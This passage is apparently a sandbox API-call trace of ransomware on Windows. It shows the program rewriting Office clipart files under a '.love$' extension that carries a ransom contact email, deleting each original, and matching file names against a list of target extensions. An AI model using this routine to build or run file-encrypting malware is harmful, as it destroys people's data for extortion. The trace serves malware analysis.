office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0247.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.665] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.666] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0247.666] GetLastError () returned 0x0 [0247.667] ReadFile (in: hFile=0x418, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0247.673] WriteFile (in: hFile=0x4e4, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0247.679] ReadFile (in: hFile=0x418, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.679] WriteFile (in: hFile=0x4e4, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.679] SetEndOfFile (hFile=0x4e4) returned 1 [0247.682] CloseHandle (hObject=0x4e4) returned 1 [0247.685] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.685] SetEndOfFile (hFile=0x418) returned 1 [0247.690] CloseHandle (hObject=0x418) returned 1 [0247.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0247.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.694] lstrlenW (lpString=".doc") returned 4 [0247.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.694] lstrlenW (lpString=".docx") returned 5 [0247.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.695] lstrlenW (lpString=".pdf") returned 4 [0247.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.695] lstrlenW (lpString=".xls") returned 4 [0247.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.695] lstrlenW (lpString=".xlsx") returned 5 [0247.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.695] lstrlenW (lpString=".ppt") returned 4 [0247.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.695] lstrlenW (lpString=".zip") returned 4 [0247.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.695] lstrlenW (lpString=".rar") returned 4 [0247.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.695] lstrlenW (lpString=".bz2") returned 4 [0247.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.695] lstrlenW (lpString=".7z") returned 3 [0247.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.695] lstrlenW (lpString=".dbf") returned 4 [0247.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.695] lstrlenW (lpString=".1cd") returned 4 [0247.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.695] lstrlenW (lpString=".jpg") returned 4 [0247.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.695] lstrlenW (lpString=".doc") returned 4 [0247.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.695] lstrlenW (lpString=".docx") returned 5 [0247.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.695] lstrlenW (lpString=".pdf") returned 4 [0247.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.696] lstrlenW (lpString=".xls") returned 4 [0247.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.696] lstrlenW (lpString=".xlsx") returned 5 [0247.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.696] lstrlenW (lpString=".ppt") returned 4 [0247.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.696] lstrlenW (lpString=".zip") returned 4 [0247.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.696] lstrlenW (lpString=".rar") returned 4 [0247.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.696] lstrlenW (lpString=".bz2") returned 4 [0247.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.696] lstrlenW (lpString=".7z") returned 3 [0247.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.696] lstrlenW (lpString=".dbf") returned 4 [0247.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.696] lstrlenW (lpString=".1cd") returned 4 [0247.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0247.696] lstrlenW (lpString=".jpg") returned 4 [0247.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.696] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.696] lstrlenW (lpString="FD00369_.WMF") returned 12 [0247.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.698] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8552) returned 1 [0247.698] CloseHandle (hObject=0x418) returned 1 [0247.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0247.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.699] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.699] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.700] GetLastError () returned 0x0 [0247.700] ReadFile (in: hFile=0x418, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2168, lpOverlapped=0x0) returned 1 [0247.706] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2170, lpOverlapped=0x0) returned 1 [0247.707] ReadFile (in: hFile=0x418, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.707] WriteFile (in: hFile=0x548, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.707] SetEndOfFile (hFile=0x548) returned 1 [0247.707] CloseHandle (hObject=0x548) returned 1 [0247.708] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.708] SetEndOfFile (hFile=0x418) returned 1 [0247.710] CloseHandle (hObject=0x418) returned 1 [0247.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0247.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.711] lstrlenW (lpString=".doc") returned 4 [0247.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.712] lstrlenW (lpString=".docx") returned 5 [0247.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.712] lstrlenW (lpString=".pdf") returned 4 [0247.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.712] lstrlenW (lpString=".xls") returned 4 [0247.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.712] lstrlenW (lpString=".xlsx") returned 5 [0247.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.712] lstrlenW (lpString=".ppt") returned 4 [0247.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.712] lstrlenW (lpString=".zip") returned 4 [0247.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.712] lstrlenW (lpString=".rar") returned 4 [0247.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.712] lstrlenW (lpString=".bz2") returned 4 [0247.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.712] lstrlenW (lpString=".7z") returned 3 [0247.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.712] lstrlenW (lpString=".dbf") returned 4 [0247.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.712] lstrlenW (lpString=".1cd") returned 4 [0247.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.712] lstrlenW (lpString=".jpg") returned 4 [0247.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.712] lstrlenW (lpString=".doc") returned 4 [0247.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.713] lstrlenW (lpString=".docx") returned 5 [0247.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.713] lstrlenW (lpString=".pdf") returned 4 [0247.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.713] lstrlenW (lpString=".xls") returned 4 [0247.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.713] lstrlenW (lpString=".xlsx") returned 5 [0247.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.713] lstrlenW (lpString=".ppt") returned 4 [0247.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.713] lstrlenW (lpString=".zip") returned 4 [0247.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.713] lstrlenW (lpString=".rar") returned 4 [0247.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.713] lstrlenW (lpString=".bz2") returned 4 [0247.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.713] lstrlenW (lpString=".7z") returned 3 [0247.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.713] lstrlenW (lpString=".dbf") returned 4 [0247.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.713] lstrlenW (lpString=".1cd") returned 4 [0247.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0247.713] lstrlenW (lpString=".jpg") returned 4 [0247.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.713] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0247.713] lstrlenW (lpString="FD00382_.WMF") returned 12 [0247.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0247.715] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8424) returned 1 [0247.715] CloseHandle (hObject=0x418) returned 1 [0248.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0249.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0249.057] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.057] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.059] GetLastError () returned 0x0 [0249.059] ReadFile (in: hFile=0x544, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x20e8, lpOverlapped=0x0) returned 1 [0249.066] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x20f0, lpOverlapped=0x0) returned 1 [0249.067] ReadFile (in: hFile=0x544, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.067] WriteFile (in: hFile=0x538, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0249.067] SetEndOfFile (hFile=0x538) returned 1 [0249.069] CloseHandle (hObject=0x538) returned 1 [0249.072] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.072] SetEndOfFile (hFile=0x544) returned 1 [0249.078] CloseHandle (hObject=0x544) returned 1 [0249.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0249.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.083] lstrlenW (lpString=".doc") returned 4 [0249.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.083] lstrlenW (lpString=".docx") returned 5 [0249.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.083] lstrlenW (lpString=".pdf") returned 4 [0249.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.083] lstrlenW (lpString=".xls") returned 4 [0249.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.083] lstrlenW (lpString=".xlsx") returned 5 [0249.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.083] lstrlenW (lpString=".ppt") returned 4 [0249.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.083] lstrlenW (lpString=".zip") returned 4 [0249.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.083] lstrlenW (lpString=".rar") returned 4 [0249.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.083] lstrlenW (lpString=".bz2") returned 4 [0249.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.083] lstrlenW (lpString=".7z") returned 3 [0249.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.083] lstrlenW (lpString=".dbf") returned 4 [0249.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.083] lstrlenW (lpString=".1cd") returned 4 [0249.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.084] lstrlenW (lpString=".jpg") returned 4 [0249.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.084] lstrlenW (lpString=".doc") returned 4 [0249.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.084] lstrlenW (lpString=".docx") returned 5 [0249.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.084] lstrlenW (lpString=".pdf") returned 4 [0249.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.084] lstrlenW (lpString=".xls") returned 4 [0249.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.084] lstrlenW (lpString=".xlsx") returned 5 [0249.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.084] lstrlenW (lpString=".ppt") returned 4 [0249.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.084] lstrlenW (lpString=".zip") returned 4 [0249.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.084] lstrlenW (lpString=".rar") returned 4 [0249.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.084] lstrlenW (lpString=".bz2") returned 4 [0249.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.084] lstrlenW (lpString=".7z") returned 3 [0249.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.084] lstrlenW (lpString=".dbf") returned 4 [0249.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.084] lstrlenW (lpString=".1cd") returned 4 [0249.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0249.085] lstrlenW (lpString=".jpg") returned 4 [0249.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.085] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0249.085] lstrlenW (lpString="FD00414_.WMF") returned 12 [0249.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0249.086] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11002) returned 1 [0249.086] CloseHandle (hObject=0x544) returned 1 [0249.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0249.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft 